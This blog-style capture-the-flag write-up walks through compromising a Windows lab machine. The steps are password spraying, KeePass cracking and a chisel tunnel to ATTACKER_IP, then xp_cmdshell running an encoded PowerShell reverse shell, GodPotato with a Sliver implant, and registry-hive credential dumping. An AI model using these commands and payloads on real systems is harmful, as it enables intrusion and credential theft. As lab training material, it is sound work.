Post cover image

October 14, 2026

New Hire (HackSmarter)

Overview

By Daniel Lewis

6 min read

Overview

  1. SMB Guest Auth
  2. Password Spray
  3. keepass2john
  4. Chisel
  5. xp_cmdshell
  6. GodPotato
  7. Reg Keys

Objective

This lab is a hosted version of the OSCP-LK set. OSCP-LK is a set of machines in the style of the PEN 200 labs and exam to help you sharpen your enumeration, creative thinking and exploitation techniques. The machines were designed to be truly "OSCP like" even more than some machines in OSCP like lists.

Enumeration

  • Initial port scan:
nmap -sS -p- 10.1.121.234 -A -Pn -T4 -v
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: WIN-0MTGMLVOBBO
|   NetBIOS_Domain_Name: WIN-0MTGMLVOBBO
|   NetBIOS_Computer_Name: WIN-0MTGMLVOBBO
|   DNS_Domain_Name: WIN-0MTGMLVOBBO
|   DNS_Computer_Name: WIN-0MTGMLVOBBO
|   Product_Version: 10.0.20348
|_  System_Time: 2026-10-13T21:02:06+00:00
| ssl-cert: Subject: commonName=WIN-0MTGMLVOBBO
| Issuer: commonName=WIN-0MTGMLVOBBO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-29T19:25:58
| Not valid after:  2027-02-28T19:25:58
| MD5:   c39ed38e37eb4466089b4795fc90dabc
|_SHA-1: f207146c2797cc646189fc5807ff3823bea706db
|_ssl-date: 2026-10-13T21:02:45+00:00; -2s from scanner time.
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): FreeBSD 6.X (86%)
OS CPE: cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: FreeBSD 6.2-RELEASE (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.020 days (since Tue Oct 13 13:33:33 2026)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Checking for guest / null access:
nxc smb 10.1.192.160 -u 'Guest' -p '' --shares
None
  • Using smbclient, we can download all the files we have access too:
smbclientng -u 'Guest' -p '' --host '10.1.192.160'
None
  • We see that in the employees.eml that this is a default password for the new hires. Lets create a list of users and spray this password at them:
None None
  • Create the file users.txt with the names above and then run this command to generate possible usernames:
username-anarchy -i users.txt
None
  • Spray the password against the usernames.txt :
  • NOTE: Because Guest is enabled, we get all hits for Guest when the logon failed. Look for the name that does not have Guest by the name:
nxc smb 10.1.192.160 -u usernames.txt -p 'MegaCorp2026!' --continue-on-success
None
  • Check if the creds:
nxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --shares
None

Foothold

  • Creds for tim.torner who is the new junior helpdeskt:
tim.torner:MegaCorp2026!
  • Since tim.torner is the new junior helpdesk, lets see if he has access to the IT folder:
smbclientng -u 'tim.torner' -p 'MegaCorp2026!' --host '10.1.192.160'
None

Lateral Movement

  • The Database.kdb looks interesting, lets use keepass2john to grab the hash:
keepass2john Database.kdb
None
  • Crack the hash (you may need to edit the file to delete Database.kdb: at the beginner like I had too)
hashcat -m 13400 hacksmarter/newhire/kdb.hash rockyou.txt
None
  • Open the database with keepassxc on linux:
None None
  • If we --rid-brute with nxc we can see other users on this computer such as fred.green:
nxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --rid-brute
None
  • Test the creds:
nxc smb 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF' --shares
None

PrivEsc

  • Creds:
fred.green:7ERRI9Q0YEfvJYF
  • By checking winrm via nxc we see that he has access:
nxc winrm 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF'
None
  • Logon:
evil-winrm -u 'fred.green' -p '7ERRI9Q0YEfvJYF' -i 10.1.192.160
None
  • Can confirm that there is a MSSQL server being run from the initial folder enumeration and confirmed that port 1433 is listening:
None
  • We can use a reverse proxy to gain access to the database with chisel. Upload chisel64.exe and start a server, then utilize proxychains to tunnel through to the victim computer to access to the database:
  1. Upload the chisel64.exe file to the victim (I uploaded the folder with both chisel64.exe and chisel32.exe on accident):
upload /opt/resources/windows/chisel/chisel64.exe chisel.exe
None
  1. Start the server:
chisel server -p 1433 --socks5 --reverse
None
  • On the victims computer:
chisel.exe client ATTACKER_IP:1433 R:socks
  1. Use Proxycahins to connect to the database (make sure your socks5 127.0.0.1:1080 is set up properly in you proxychains.conf):
proxychains mssqlclient.py 'fred.green':'7ERRI9Q0YEfvJYF'@'10.1.192.160' -windows-auth
None
  • fred.green has impersonate privs from sa.
  • Using execute_as_login we can login as sa:
exec_as_login sa
None
  • Then we can enable enable_xp_cmdshell to gain command execution as sa:
enable_xp_cmdshell
None 
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMgAwADAALgAxADAANwAuADEAMQA4ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
None

Loot

  • Enumerating this user, we can type out a file and see a password hard coded in:
type ssh.lnk
None
  • Testing this password, we can confirm that this is the sysadmin's password:
sysadmin:RRxcgEJSpZPnQAR90

Alternate LOOT

  • By testing creds, we can see that this is the same password for Administrator so we can login as the default admin to gain more privs.
  • We can upload GodPotato and a Sliver implant.
  • Run GodPotato to execute the implant as NT Authority and gain a session on sliver.
  1. Logon as Administrator
evil-winrm -u 'Administrator' -p 'RRxcgEJSpZPnQAR90' -i 10.1.192.160
None
  1. Upload the files:
upload /opt/resources/windows/GodPotato-NET4.exe GodPotato.exe
None
  • Check listeners, create implant, upload:
None 
generate --mtls 10.200.107.118:443 --os windows
upload UNLIKELY_USE.exe update.exe
None
  1. Execute update.exe via GodPotato.exe:
.\GodPotato.exe -cmd "C:\Users\Administrator\desktop\update.exe"
None None
  • Now as System, we can save the reg keys of system, security, sam, and software:
  • Enable your SeBackUpPrivilege:
remote-get_priv -- -privilege SeBackupPrivilege
  1. SYSTEM
remote-reg-save -- -path SYSTEM -output-path C:\\Windows\\Temp\\sys.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sys.hive
  1. SECURITY
remote-reg-save -- -path SECURITY -output-path C:\\Windows\\Temp\\sec.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sec.hive
  1. SAM
remote-reg-save -- -path SAM -output-path C:\\Windows\\Temp\\sam.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sam.hive
  1. SOFTWARE (Needed for Pypykats)
remote-reg-save -- -path SOFTWARE -output-path C:\\Windows\\Temp\\soft.hive -hive 2
download -t 300 C:\\Windows\\Temp\\soft.hive

5a. Secrectsdump.py

secretsdump.py -sam sam.hive -security sec.hive -system sys.hive LOCAL
None

5b. Pypykatz

pypykatz registry sys.hive --sam sam.hive --security sec.hive --software soft.hive
None
  • MSSQL service is being run on the sysadmin account indicating that the password used in plaintext is for the account sysadmin.